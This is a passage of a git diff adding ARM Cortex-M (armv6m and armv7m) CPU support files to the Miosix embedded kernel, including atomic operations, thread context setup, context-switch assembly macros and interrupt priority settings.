+/*************************************************************************** + * Copyright (C) 2013-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +/** + * Cortex M0/M0+ architectures does not support __LDREXW, __STREXW and __CLREX + * instructions, so we have to redefine the atomic operations using functions + * that disable the interrupts. + * + * TODO: actually this implementation is not very efficient + * + */ + +#include "interfaces/arch_registers.h" + +namespace miosix { + +class AtomicsLock +{ +public: + AtomicsLock() + { + oldInterruptsDisabled=__get_PRIMASK(); + __disable_irq(); + } + + ~AtomicsLock() + { + if(!oldInterruptsDisabled) __enable_irq(); + } + +private: + bool oldInterruptsDisabled; + + //Unwanted methods + AtomicsLock(const AtomicsLock& l); + AtomicsLock& operator= (const AtomicsLock& l); +}; + +inline int atomicSwap(volatile int *p, int v) +{ + int result; + { + AtomicsLock lock; + result = *p; + *p = v; + } + asm volatile("":::"memory"); + return result; +} + +inline void atomicAdd(volatile int *p, int incr) +{ + { + AtomicsLock lock; + *p += incr; + } + asm volatile("":::"memory"); +} + +inline int atomicAddExchange(volatile int *p, int incr) +{ + int result; + { + AtomicsLock lock; + result = *p; + *p += incr; + } + asm volatile("":::"memory"); + return result; +} + +inline int atomicCompareAndSwap(volatile int *p, int prev, int next) +{ + int result; + { + AtomicsLock lock; + result = *p; + if(*p == prev) *p = next; + } + asm volatile("":::"memory"); + return result; +} + +inline void *atomicFetchAndIncrement(void * const volatile * p, int offset, + int incr) +{ + void *result; + { + AtomicsLock lock; + result = *p; + if(result == 0) return 0; + volatile uint32_t *pt = reinterpret_cast(result) + offset; + *pt += incr; + } + asm volatile("":::"memory"); + return result; +} + +} //namespace miosix diff --git a/miosix/arch/cpu/armv6m/interfaces-impl/cpu.cpp b/miosix/arch/cpu/armv6m/interfaces-impl/cpu.cpp new file mode 100644 index 000000000..39ae8a775 --- /dev/null +++ b/miosix/arch/cpu/armv6m/interfaces-impl/cpu.cpp @@ -0,0 +1,66 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces_private/cpu.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void initKernelThreadCtxsave(unsigned int *ctxsave, void (*pc)(void *(*)(void*),void*), + unsigned int *sp, unsigned int *spLimit, + void *(*arg0)(void*), void *arg1) noexcept +{ + (void)spLimit; + unsigned int *stackPtr=sp; + //Stack is full descending, so decrement first + stackPtr--; *stackPtr=0x01000000; //--> xPSR + stackPtr--; *stackPtr=reinterpret_cast(pc); //--> pc + stackPtr--; *stackPtr=0xffffffff; //--> lr + stackPtr--; *stackPtr=0; //--> r12 + stackPtr--; *stackPtr=0; //--> r3 + stackPtr--; *stackPtr=0; //--> r2 + stackPtr--; *stackPtr=reinterpret_cast(arg1); //--> r1 + stackPtr--; *stackPtr=reinterpret_cast(arg0); //--> r0 + + ctxsave[0]=reinterpret_cast(stackPtr); //--> psp + //leaving the content of r4-r11 uninitialized + //NOTE: on armv6m ctxsave does not contain lr +} + +void IRQportableStartKernel() noexcept +{ + //create a temporary space to save current registers. This data is useless + //since there's no way to stop the sheduler, but we need to save it anyway. + unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; + ctxsave[getCurrentCoreId()]=s_ctxsave;//make global ctxsave point to it + //There's no __enable_fault_irq() in ARMv6M + IRQinvokeScheduler(); + __enable_irq(); + //Never reaches here +} + +} //namespace miosix diff --git a/miosix/arch/cpu/armv6m/interfaces-impl/cpu_const_impl.h b/miosix/arch/cpu/armv6m/interfaces-impl/cpu_const_impl.h new file mode 100644 index 000000000..6a11c08b6 --- /dev/null +++ b/miosix/arch/cpu/armv6m/interfaces-impl/cpu_const_impl.h @@ -0,0 +1,58 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +/** + * \addtogroup Interfaces + * \{ + */ + +/// \internal Size in words of vector to store CPU context during context switch +/// (9*4=36Bytes). Only sp and r4-r11 are saved here, since r0-r3,r12,lr,pc,xPSR +/// and old sp are saved by hardware on the process stack on armv6m CPUs. +const unsigned char CTXSAVE_SIZE=9; + +/// \internal Size of additional context saved on the stack during context switch. +/// If zero, this architecture does not save anything on stack during context +/// save. Size is in bytes, not words. MUST be divisible by 4. This constant is +/// used to increase the stack size by the size of context save frame. +const unsigned int CTXSAVE_ON_STACK=32; + +/// \internal Stack alignment required by the CPU +const unsigned int CTXSAVE_STACK_ALIGNMENT=8; + +/// \internal Offset in words to retrieve the thread stack pointer in ctxsave +const unsigned int STACK_OFFSET_IN_CTXSAVE=0; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/arch/cpu/armv6m/interfaces-impl/cpu_impl.h b/miosix/arch/cpu/armv6m/interfaces-impl/cpu_impl.h new file mode 100644 index 000000000..5efa75747 --- /dev/null +++ b/miosix/arch/cpu/armv6m/interfaces-impl/cpu_impl.h @@ -0,0 +1,195 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +/** + * \addtogroup Interfaces + * \{ + */ + +/* + * In this architecture, registers are saved in the following order: + * *ctxsave+32 --> r11 + * *ctxsave+28 --> r10 + * *ctxsave+24 --> r9 + * *ctxsave+20 --> r8 + * *ctxsave+16 --> r7 + * *ctxsave+12 --> r6 + * *ctxsave+8 --> r5 + * *ctxsave+4 --> r4 + * *ctxsave+0 --> psp + */ + +#ifndef WITH_SMP + +/** + * \internal + * \def saveContext() + * Save context from an interrupt
+ * Must be the first line of an IRQ where a context switch can happen. + * The IRQ must be "naked" to prevent the compiler from generating context save. + * + * A note on the dmb instruction, without it a race condition was observed + * between pauseKernel() and IRQrunScheduler(). pauseKernel() uses an strex + * instruction to store a value in the global variable kernel_running which is + * tested by the context switch code in IRQrunScheduler(). Without the memory + * barrier IRQrunScheduler() would occasionally read the previous value and + * perform a context switch while the kernel was paused, leading to deadlock. + * The failure was only observed within the exception_test() in the testsuite + * running on the stm32f429zi_stm32f4discovery. + * TODO: According to ARM's docs, the DMB should probably have been a CLREX. + * On SMP, the DMB should be a CLREX followed by a DSB, because DMB just + * ensures no reordering, while DSB also stalls until all writes have been + * committed. This is important to ensure the state of the thread stays + * consistent if it's moved to another core. + */ +#define saveContext() \ + asm volatile(".syntax unified \n\t" \ + "push {lr} \n\t" /*save lr on MAIN stack*/ \ + "mrs r1, psp \n\t" /*get PROCESS stack pointer*/ \ + "ldr r0, =ctxsave \n\t" /*get current context*/ \ + "ldr r0, [r0] \n\t" \ + "stmia r0!, {r1,r4-r7} \n\t" /*save PROCESS sp + r4-r7*/ \ + "mov r4, r8 \n\t" \ + "mov r5, r9 \n\t" \ + "mov r6, r10 \n\t" \ + "mov r7, r11 \n\t" \ + "stmia r0!, {r4-r7} \n\t" \ + "dmb \n\t" \ + ); + +/** + * \def restoreContext() + * Restore context in an IRQ where saveContext() is used. Must be the last line + * of an IRQ where a context switch can happen. The IRQ must be "naked" to + * prevent the compiler from generating context restore. + */ +#define restoreContext() \ + asm volatile(".syntax unified \n\t" \ + "ldr r0, =ctxsave \n\t" /*get current context*/ \ + "ldr r0, [r0] \n\t" \ + "ldmia r0!, {r1,r4-r7} \n\t" /*pop r8-r11 saving in r4-r7*/ \ + "msr psp, r1 \n\t" /*restore PROCESS sp*/ \ + "ldmia r0, {r0-r3} \n\t" \ + "mov r8, r0 \n\t" \ + "mov r9, r1 \n\t" \ + "mov r10, r2 \n\t" \ + "mov r11, r3 \n\t" \ + "pop {pc} \n\t" /*return*/ \ + ); + +#elif defined(_CHIP_RP2040) + +/** + * \internal + * \def saveContext() + * Save context from an interrupt
+ * Must be the first line of an IRQ where a context switch can happen. + * The IRQ must be "naked" to prevent the compiler from generating context save. + * + * A note on the dmb instruction, without it a race condition was observed + * between pauseKernel() and IRQrunScheduler(). pauseKernel() uses an strex + * instruction to store a value in the global variable kernel_running which is + * tested by the context switch code in IRQrunScheduler(). Without the memory + * barrier IRQrunScheduler() would occasionally read the previous value and + * perform a context switch while the kernel was paused, leading to deadlock. + * The failure was only observed within the exception_test() in the testsuite + * running on the stm32f429zi_stm32f4discovery. + */ +#define saveContext() \ + asm volatile(".syntax unified \n\t" \ + "push {lr} \n\t" /*save lr on MAIN stack*/ \ + "mrs r1, psp \n\t" /*get PROCESS stack pointer*/ \ + "ldr r2, =0xd0000000 \n\t" /* CPUID */ \ + "ldr r2, [r2] \n\t" \ + "lsls r2, #2 \n\r" \ + "ldr r3, =ctxsave \n\t" /*get current context*/ \ + "adds r3, r3, r2 \n\t" \ + "ldr r0, [r3] \n\t" \ + "stmia r0!, {r1,r4-r7} \n\t" /*save PROCESS sp + r4-r7*/ \ + "mov r4, r8 \n\t" \ + "mov r5, r9 \n\t" \ + "mov r6, r10 \n\t" \ + "mov r7, r11 \n\t" \ + "stmia r0!, {r4-r7} \n\t" \ + "mov r4, r3 \n\t" /*save for restoreContext*/ \ + "dmb \n\t" \ + ); + +/** + * \def restoreContext() + * Restore context in an IRQ where saveContext() is used. Must be the last line + * of an IRQ where a context switch can happen. The IRQ must be "naked" to + * prevent the compiler from generating context restore. + */ +#define restoreContext() \ + asm volatile(".syntax unified \n\t" \ + "ldr r0, [r4] \n\t" /*get current context*/ \ + "ldmia r0!, {r1,r4-r7} \n\t" /*pop r8-r11 saving in r4-r7*/ \ + "msr psp, r1 \n\t" /*restore PROCESS sp*/ \ + "ldmia r0, {r0-r3} \n\t" \ + "mov r8, r0 \n\t" \ + "mov r9, r1 \n\t" \ + "mov r10, r2 \n\t" \ + "mov r11, r3 \n\t" \ + "pop {pc} \n\t" /*return*/ \ + ); + +#else +#error "No context switch code for this SMP architecture" +#endif + +namespace miosix { + +inline void IRQinvokeScheduler() noexcept +{ + //NOTE: before Miosix 3 we used "svc 0" as yield also within the kernel, but + //now we have the dedicated PendSV IRQ to call the scheduler, so use that. + //Can't use NVIC_SetPendingIRQ as PendSV is an exception, not an IRQ + SCB->ICSR=SCB_ICSR_PENDSVSET_Msk; + //NOTE: due to the write buffer while doing the store to the SCB->ICSR, + //the CPU could execute ahead of the yield. Use dmb to prevent + //NOTE: a dmb is NOT enough, as the code pattern using this function can be: + // str r2, [r3, #4] //SCB->ICSR=SCB_ICSR_PENDSVSET_Msk; + // dmb sy + // cpsie i + // cpsid i + // and it's important that the store to set PENDSVSET is seen in the cycle + // when interrupts are enabled. However since cpsi* instruction do not read + // from memory a dmb can still allow the store to be delayed. This isssue + // was first seen in CortexM33 + asm volatile("dsb":::"memory"); +} + +} //namespace miosix + +/** + * \} + */ diff --git a/miosix/arch/cpu/armv6m/interfaces-impl/endianness_impl.h b/miosix/arch/cpu/armv6m/interfaces-impl/endianness_impl.h new file mode 100644 index 000000000..f7f187690 --- /dev/null +++ b/miosix/arch/cpu/armv6m/interfaces-impl/endianness_impl.h @@ -0,0 +1 @@ +#include "../../common/cortexMx_endianness.h" diff --git a/miosix/arch/cpu/armv6m/interfaces-impl/interrupts_impl.h b/miosix/arch/cpu/armv6m/interfaces-impl/interrupts_impl.h new file mode 100644 index 000000000..31641a20b --- /dev/null +++ b/miosix/arch/cpu/armv6m/interfaces-impl/interrupts_impl.h @@ -0,0 +1,81 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +namespace miosix { + +/** + * \addtogroup Interfaces + * \{ + */ + +#ifndef __NVIC_PRIO_BITS +#error "__NVIC_PRIO_BITS undefined" +#endif //__NVIC_PRIO_BITS + +/// Default interrupt priority. All interrupt priorities are set at boot to this +/// value. ARM Cortex use 0 for the highest priority and (1<<__NVIC_PRIO_BITS)-1 +/// for the lowest one. We chose to use the top 3/4 of the range for higher than +/// default priority and the bottom 1/4 of the range for lower than default. +/// With 4 bit priorities the default is 11 +/// With 3 bit priorities the default is 5 +/// With 2 bit priorities the default is 2 +constexpr int defaultIrqPriority=(0.75f*(1<<__NVIC_PRIO_BITS))-1; + +/// Minimum interrupt priority that the hardware provides +constexpr int minimumIrqPriority=(1<<__NVIC_PRIO_BITS)-1; + +inline void fastDisableIrq() noexcept +{ + //Since this function is inline there's the need for a memory barrier to + //avoid aggressive reordering + asm volatile("cpsid i":::"memory"); +} + +inline void fastEnableIrq() noexcept +{ + //Since this function is inline there's the need for a memory barrier to + //avoid aggressive reordering + asm volatile("cpsie i":::"memory"); +} + +inline bool areInterruptsEnabled() noexcept +{ + int i; + asm volatile("mrs %0, primask \n\t":"=r"(i)); + if(i!=0) return false; + return true; +} + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/arch/cpu/armv6m/interfaces-impl/mpu_impl.h b/miosix/arch/cpu/armv6m/interfaces-impl/mpu_impl.h new file mode 100644 index 000000000..0f88066e5 --- /dev/null +++ b/miosix/arch/cpu/armv6m/interfaces-impl/mpu_impl.h @@ -0,0 +1 @@ +#include "../../common/cortexMx_mpu.h" diff --git a/miosix/arch/cpu/armv6m/interfaces-impl/userspace_impl.h b/miosix/arch/cpu/armv6m/interfaces-impl/userspace_impl.h new file mode 100644 index 000000000..909798a7c --- /dev/null +++ b/miosix/arch/cpu/armv6m/interfaces-impl/userspace_impl.h @@ -0,0 +1 @@ +#include "../../common/cortexMx_userspace.h" diff --git a/miosix/arch/cpu/armv7m/interfaces-impl/atomic_ops_impl.h b/miosix/arch/cpu/armv7m/interfaces-impl/atomic_ops_impl.h new file mode 100644 index 000000000..6a9dbbecc --- /dev/null +++ b/miosix/arch/cpu/armv7m/interfaces-impl/atomic_ops_impl.h @@ -0,0 +1,104 @@ +/*************************************************************************** + * Copyright (C) 2013-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +namespace miosix { + +inline int atomicSwap(volatile int *p, int v) +{ + int result; + volatile uint32_t *ptr=reinterpret_cast(p); + do { + result=__LDREXW(ptr); + } while(__STREXW(v,ptr)); + asm volatile("":::"memory"); + return result; +} + +inline void atomicAdd(volatile int *p, int incr) +{ + int value; + volatile uint32_t *ptr=reinterpret_cast(p); + do { + value=__LDREXW(ptr); + } while(__STREXW(value+incr,ptr)); + asm volatile("":::"memory"); +} + +inline int atomicAddExchange(volatile int *p, int incr) +{ + int result; + volatile uint32_t *ptr=reinterpret_cast(p); + do { + result=__LDREXW(ptr); + } while(__STREXW(result+incr,ptr)); + asm volatile("":::"memory"); + return result; +} + +inline int atomicCompareAndSwap(volatile int *p, int prev, int next) +{ + int result; + volatile uint32_t *ptr=reinterpret_cast(p); + do { + result=__LDREXW(ptr); + if(result!=prev) + { + __CLREX(); + return result; + } + } while(__STREXW(next,ptr)); + asm volatile("":::"memory"); + return result; +} + +inline void *atomicFetchAndIncrement(void * const volatile * p, int offset, + int incr) +{ + void *result; + volatile uint32_t *rcp; + int rc; + do { + for(;;) + { + result=*p; + if(result==0) return 0; + rcp=reinterpret_cast(result)+offset; + rc=__LDREXW(rcp); + asm volatile("":::"memory"); + if(result==*p) break; + __CLREX(); + } + } while(__STREXW(rc+incr,rcp)); + asm volatile("":::"memory"); + return result; +} + +} //namespace miosix diff --git a/miosix/arch/cpu/armv7m/interfaces-impl/cpu.cpp b/miosix/arch/cpu/armv7m/interfaces-impl/cpu.cpp new file mode 100644 index 000000000..6bb05e0ee --- /dev/null +++ b/miosix/arch/cpu/armv7m/interfaces-impl/cpu.cpp @@ -0,0 +1,79 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces_private/cpu.h" +#include "interfaces_private/userspace.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void initKernelThreadCtxsave(unsigned int *ctxsave, void (*pc)(void *(*)(void*),void*), + unsigned int *sp, unsigned int *spLimit, + void *(*arg0)(void*), void *arg1) noexcept +{ + (void)spLimit; + unsigned int *stackPtr=sp; + //Stack is full descending, so decrement first + stackPtr--; *stackPtr=0x01000000; //--> xPSR + stackPtr--; *stackPtr=reinterpret_cast(pc); //--> pc + stackPtr--; *stackPtr=0xffffffff; //--> lr + stackPtr--; *stackPtr=0; //--> r12 + stackPtr--; *stackPtr=0; //--> r3 + stackPtr--; *stackPtr=0; //--> r2 + stackPtr--; *stackPtr=reinterpret_cast(arg1); //--> r1 + stackPtr--; *stackPtr=reinterpret_cast(arg0); //--> r0 + + ctxsave[0]=reinterpret_cast(stackPtr); //--> psp + //leaving the content of r4-r11 uninitialized +#if __FPU_PRESENT==1 + //NOTE: only armv7m with fpu has lr in ctxsave + ctxsave[9]=0xfffffffd; //EXC_RETURN=thread mode, use psp, no floating ops + //leaving the content of s16-s31 uninitialized +#endif //__FPU_PRESENT==1 +} + +void IRQportableStartKernel() noexcept +{ + //Enable fault handlers + SCB->SHCSR |= SCB_SHCSR_USGFAULTENA_Msk | SCB_SHCSR_BUSFAULTENA_Msk + | SCB_SHCSR_MEMFAULTENA_Msk; + //Enable traps for division by zero. Trap for unaligned memory access + //was removed as gcc starting from 4.7.2 generates unaligned accesses by + //default (https://www.gnu.org/software/gcc/gcc-4.7/changes.html) + SCB->CCR |= SCB_CCR_DIV_0_TRP_Msk; + + //create a temporary space to save current registers. This data is useless + //since there's no way to stop the sheduler, but we need to save it anyway. + unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; + ctxsave[getCurrentCoreId()]=s_ctxsave;//make global ctxsave point to it + IRQinvokeScheduler(); + __enable_fault_irq(); + __enable_irq(); + //Never reaches here +} + +} //namespace miosix diff --git a/miosix/arch/cpu/armv7m/interfaces-impl/cpu_const_impl.h b/miosix/arch/cpu/armv7m/interfaces-impl/cpu_const_impl.h new file mode 100644 index 000000000..deb7eded6 --- /dev/null +++ b/miosix/arch/cpu/armv7m/interfaces-impl/cpu_const_impl.h @@ -0,0 +1,90 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +#ifndef __FPU_PRESENT +#define __FPU_PRESENT 0 //__FPU_PRESENT undefined means no FPU +#endif +#if (__FPU_PRESENT!=0) && (__FPU_USED!=1) +#error "__FPU_USED should be 1" +#endif + +namespace miosix { + +/** + * \addtogroup Interfaces + * \{ + */ + +#if __FPU_PRESENT==1 + +/// \internal Size in words of vector to store CPU context during context switch +/// ((10+16)*4=104Bytes). Only sp, r4-r11, EXC_RETURN and s16-s31 are saved +/// here, since r0-r3,r12,lr,pc,xPSR, old sp and s0-s15,fpscr are saved by +/// hardware on the process stack on armv7m_fpu CPUs. EXC_RETURN, or the lr, +/// value to use to return from the exception is necessary to know if the +/// thread has used fp regs, as an extension specific to armv7m_fpu CPUs. +const unsigned char CTXSAVE_SIZE=10+16; + +/// \internal Size of additional context saved on the stack during context switch. +/// If zero, this architecture does not save anything on stack during context +/// save. Size is in bytes, not words. MUST be divisible by 4. This constant is +/// used to increase the stack size by the size of context save frame. +/// (8+17)*4=100Bytes +/// 8 registers=r0-r3,r12,lr,pc,xPSR +/// 17 registers=s0-s15,fpscr +const unsigned int CTXSAVE_ON_STACK=(8+17)*4; + +#else //__FPU_PRESENT==1 + +/// \internal Size in words of vector to store CPU context during context switch +/// (9*4=36Bytes). Only sp and r4-r11 are saved here, since r0-r3,r12,lr,pc,xPSR +/// and old sp are saved by hardware on the process stack on armv7m CPUs. +const unsigned char CTXSAVE_SIZE=9; + +/// \internal Size of additional context saved on the stack during context switch. +/// If zero, this architecture does not save anything on stack during context +/// save. Size is in bytes, not words. MUST be divisible by 4. This constant is +/// used to increase the stack size by the size of context save frame. +const unsigned int CTXSAVE_ON_STACK=32; + +#endif //__FPU_PRESENT==1 + +/// \internal Stack alignment required by the CPU +const unsigned int CTXSAVE_STACK_ALIGNMENT=8; + +/// \internal Offset in words to retrieve the thread stack pointer in ctxsave +const unsigned int STACK_OFFSET_IN_CTXSAVE=0; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/arch/cpu/armv7m/interfaces-impl/cpu_impl.h b/miosix/arch/cpu/armv7m/interfaces-impl/cpu_impl.h new file mode 100644 index 000000000..648297add --- /dev/null +++ b/miosix/arch/cpu/armv7m/interfaces-impl/cpu_impl.h @@ -0,0 +1,196 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/arch_registers.h" + +#ifndef __FPU_PRESENT +#define __FPU_PRESENT 0 //__FPU_PRESENT undefined means no FPU +#endif + +/** + * \addtogroup Interfaces + * \{ + */ + +#if __FPU_PRESENT==1 + +/* + * In this architecture, registers are saved in the following order: + * *ctxsave+100 --> s31 + * ... + * *ctxsave+40 --> s16 + * *ctxsave+36 --> lr (contains EXC_RETURN whose bit #4 tells if fpu is used) + * *ctxsave+32 --> r11 + * *ctxsave+28 --> r10 + * *ctxsave+24 --> r9 + * *ctxsave+20 --> r8 + * *ctxsave+16 --> r7 + * *ctxsave+12 --> r6 + * *ctxsave+8 --> r5 + * *ctxsave+4 --> r4 + * *ctxsave+0 --> psp + */ + +/** + * \internal + * \def saveContext() + * Save context from an interrupt
+ * Must be the first line of an IRQ where a context switch can happen. + * The IRQ must be "naked" to prevent the compiler from generating context save. + * + * A note on the dmb instruction, without it a race condition was observed + * between pauseKernel() and IRQrunScheduler(). pauseKernel() uses an strex + * instruction to store a value in the global variable kernel_running which is + * tested by the context switch code in IRQrunScheduler(). Without the memory + * barrier IRQrunScheduler() would occasionally read the previous value and + * perform a context switch while the kernel was paused, leading to deadlock. + * The failure was only observed within the exception_test() in the testsuite + * running on the stm32f429zi_stm32f4discovery. + * TODO: According to ARM's docs, the DMB should probably have been a CLREX. + * On SMP, the DMB should be a CLREX followed by a DSB, because DMB just + * ensures no reordering, while DSB also stalls until all writes have been + * committed. This is important to ensure the state of the thread stays + * consistent if it's moved to another core. + */ +#define saveContext() \ + asm volatile(" mrs r1, psp \n"/*get PROCESS stack ptr */ \ + " ldr r3, =ctxsave \n"/*get current context */ \ + " ldr r0, [r3] \n" \ + " stmia r0!, {r1,r4-r11,lr} \n"/*save r1(psp),r4-r11,lr */ \ + " lsls r2, lr, #27 \n"/*check if bit #4 is set */ \ + " bmi 0f \n" \ + " vstmia.32 r0, {s16-s31} \n"/*save s16-s31 if we need*/ \ + "0: mov r4, r3 \n"/*save for restoreContext*/ \ + " dmb \n" \ + ); + +/** + * \def restoreContext() + * Restore context in an IRQ where saveContext() is used. Must be the last line + * of an IRQ where a context switch can happen. The IRQ must be "naked" to + * prevent the compiler from generating context restore. + */ +#define restoreContext() \ + asm volatile(" ldr r0, [r4] \n"/*get current context */ \ + " ldmia r0!, {r1,r4-r11,lr} \n"/*load r1(psp),r4-r11,lr */ \ + " lsls r2, lr, #27 \n"/*check if bit #4 is set */ \ + " bmi 0f \n" \ + " vldmia.32 r0, {s16-s31} \n"/*restore s16-s31 if need*/ 